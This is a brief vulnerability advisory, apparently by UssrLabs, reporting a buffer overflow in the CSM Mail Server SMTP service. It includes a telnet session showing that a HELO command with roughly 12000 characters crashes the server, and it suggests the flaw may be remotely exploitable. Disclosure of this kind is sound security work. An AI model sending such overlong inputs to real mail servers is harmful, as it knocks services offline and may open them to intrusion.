    THE PROBLEM
    
    UssrLabs found a Local / Remote Buffer overflow,and  maybe remotely
    exploitable buffer overflow,
    the overflow is caused by a (long HELO) in the login procedure.
    
    Example:
    [hellme@die-communitech.net$ telnet example.com 25
    Trying example.com...
    Connected to example.com.
    Escape character is '^]'.
    220 SMTP CSM Mail Server ready at ServerName.com (Version 2000.08.A -
    NT.4.0.1381)
    helo [buffer]
    
    Where [buffer] is aprox. 12000 characters. At his point the server overflows
    and crashes.
